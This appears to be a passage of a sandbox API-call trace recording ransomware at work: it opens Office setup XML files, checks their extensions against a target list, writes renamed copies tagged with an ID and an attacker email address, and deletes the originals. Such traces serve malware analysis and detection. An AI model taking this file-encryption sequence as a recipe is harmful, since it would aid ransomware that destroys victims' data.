[0047.392] CloseHandle (hObject=0x1e4) returned 1 [0047.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.392] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0047.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.393] lstrlenW (lpString=".doc") returned 4 [0047.393] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.393] lstrlenW (lpString=".docx") returned 5 [0047.393] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0047.393] lstrlenW (lpString=".pdf") returned 4 [0047.393] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.393] lstrlenW (lpString=".xls") returned 4 [0047.393] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.393] lstrlenW (lpString=".xlsx") returned 5 [0047.393] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0047.393] lstrlenW (lpString=".ppt") returned 4 [0047.393] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.393] lstrlenW (lpString=".zip") returned 4 [0047.393] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.393] lstrlenW (lpString=".rar") returned 4 [0047.393] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.393] lstrlenW (lpString=".bz2") returned 4 [0047.393] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.393] lstrlenW (lpString=".7z") returned 3 [0047.393] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.393] lstrlenW (lpString=".dbf") returned 4 [0047.393] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.393] lstrlenW (lpString=".1cd") returned 4 [0047.393] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.393] lstrlenW (lpString=".jpg") returned 4 [0047.394] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.394] lstrlenW (lpString=".doc") returned 4 [0047.394] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.394] lstrlenW (lpString=".docx") returned 5 [0047.394] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0047.394] lstrlenW (lpString=".pdf") returned 4 [0047.394] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.394] lstrlenW (lpString=".xls") returned 4 [0047.394] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.394] lstrlenW (lpString=".xlsx") returned 5 [0047.394] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0047.394] lstrlenW (lpString=".ppt") returned 4 [0047.394] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.394] lstrlenW (lpString=".zip") returned 4 [0047.394] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.394] lstrlenW (lpString=".rar") returned 4 [0047.394] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.394] lstrlenW (lpString=".bz2") returned 4 [0047.394] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.394] lstrlenW (lpString=".7z") returned 3 [0047.394] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.394] lstrlenW (lpString=".dbf") returned 4 [0047.395] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.395] lstrlenW (lpString=".1cd") returned 4 [0047.395] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0047.395] lstrlenW (lpString=".jpg") returned 4 [0047.395] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.395] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.395] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0047.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0047.395] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1565) returned 1 [0047.395] CloseHandle (hObject=0x1e4) returned 1 [0047.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0047.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0047.396] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.396] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.396] GetLastError () returned 0x0 [0047.396] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x61d, lpOverlapped=0x0) returned 1 [0047.398] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x620, lpOverlapped=0x0) returned 1 [0047.398] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.398] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.399] SetEndOfFile (hFile=0x1e8) returned 1 [0047.399] CloseHandle (hObject=0x1e8) returned 1 [0047.399] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.399] SetEndOfFile (hFile=0x1e4) returned 1 [0047.400] CloseHandle (hObject=0x1e4) returned 1 [0047.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.400] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0047.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.401] lstrlenW (lpString=".doc") returned 4 [0047.401] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.401] lstrlenW (lpString=".docx") returned 5 [0047.401] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.401] lstrlenW (lpString=".pdf") returned 4 [0047.401] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.401] lstrlenW (lpString=".xls") returned 4 [0047.401] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.401] lstrlenW (lpString=".xlsx") returned 5 [0047.401] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.401] lstrlenW (lpString=".ppt") returned 4 [0047.401] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.401] lstrlenW (lpString=".zip") returned 4 [0047.401] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.401] lstrlenW (lpString=".rar") returned 4 [0047.401] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.401] lstrlenW (lpString=".bz2") returned 4 [0047.401] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.401] lstrlenW (lpString=".7z") returned 3 [0047.401] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.401] lstrlenW (lpString=".dbf") returned 4 [0047.401] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.401] lstrlenW (lpString=".1cd") returned 4 [0047.401] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.401] lstrlenW (lpString=".jpg") returned 4 [0047.401] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.402] lstrlenW (lpString=".doc") returned 4 [0047.402] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.402] lstrlenW (lpString=".docx") returned 5 [0047.402] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0047.402] lstrlenW (lpString=".pdf") returned 4 [0047.402] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.402] lstrlenW (lpString=".xls") returned 4 [0047.402] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.402] lstrlenW (lpString=".xlsx") returned 5 [0047.402] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0047.402] lstrlenW (lpString=".ppt") returned 4 [0047.402] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.402] lstrlenW (lpString=".zip") returned 4 [0047.402] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.402] lstrlenW (lpString=".rar") returned 4 [0047.402] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.402] lstrlenW (lpString=".bz2") returned 4 [0047.402] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.402] lstrlenW (lpString=".7z") returned 3 [0047.402] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.402] lstrlenW (lpString=".dbf") returned 4 [0047.402] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.402] lstrlenW (lpString=".1cd") returned 4 [0047.402] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0047.402] lstrlenW (lpString=".jpg") returned 4 [0047.402] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.403] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.403] lstrlenW (lpString="SETUP.XML") returned 9 [0047.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0047.403] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2296) returned 1 [0047.403] CloseHandle (hObject=0x1e4) returned 1 [0047.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0047.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0047.404] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.404] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.405] GetLastError () returned 0x0 [0047.405] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0047.408] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x900, lpOverlapped=0x0) returned 1 [0047.409] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.409] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.409] SetEndOfFile (hFile=0x1e8) returned 1 [0047.409] CloseHandle (hObject=0x1e8) returned 1 [0047.409] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.409] SetEndOfFile (hFile=0x1e4) returned 1 [0047.410] CloseHandle (hObject=0x1e4) returned 1 [0047.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.411] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0047.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.411] lstrlenW (lpString=".doc") returned 4 [0047.411] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.411] lstrlenW (lpString=".docx") returned 5 [0047.411] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0047.411] lstrlenW (lpString=".pdf") returned 4 [0047.411] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.411] lstrlenW (lpString=".xls") returned 4 [0047.411] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.411] lstrlenW (lpString=".xlsx") returned 5 [0047.411] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0047.411] lstrlenW (lpString=".ppt") returned 4 [0047.411] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.411] lstrlenW (lpString=".zip") returned 4 [0047.411] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.411] lstrlenW (lpString=".rar") returned 4 [0047.411] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.411] lstrlenW (lpString=".bz2") returned 4 [0047.411] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.411] lstrlenW (lpString=".7z") returned 3 [0047.411] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.411] lstrlenW (lpString=".dbf") returned 4 [0047.411] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.412] lstrlenW (lpString=".1cd") returned 4 [0047.412] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.412] lstrlenW (lpString=".jpg") returned 4 [0047.412] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.412] lstrlenW (lpString=".doc") returned 4 [0047.412] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.412] lstrlenW (lpString=".docx") returned 5 [0047.412] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0047.412] lstrlenW (lpString=".pdf") returned 4 [0047.412] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.412] lstrlenW (lpString=".xls") returned 4 [0047.412] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.412] lstrlenW (lpString=".xlsx") returned 5 [0047.412] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0047.412] lstrlenW (lpString=".ppt") returned 4 [0047.412] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.412] lstrlenW (lpString=".zip") returned 4 [0047.412] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.412] lstrlenW (lpString=".rar") returned 4 [0047.412] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.412] lstrlenW (lpString=".bz2") returned 4 [0047.412] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.412] lstrlenW (lpString=".7z") returned 3 [0047.412] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.412] lstrlenW (lpString=".dbf") returned 4 [0047.412] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.412] lstrlenW (lpString=".1cd") returned 4 [0047.412] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0047.413] lstrlenW (lpString=".jpg") returned 4 [0047.413] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.413] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.413] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0047.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0047.413] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=913) returned 1 [0047.413] CloseHandle (hObject=0x1e4) returned 1 [0047.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0047.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0047.413] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.413] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.415] GetLastError () returned 0x0 [0047.415] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b90020, 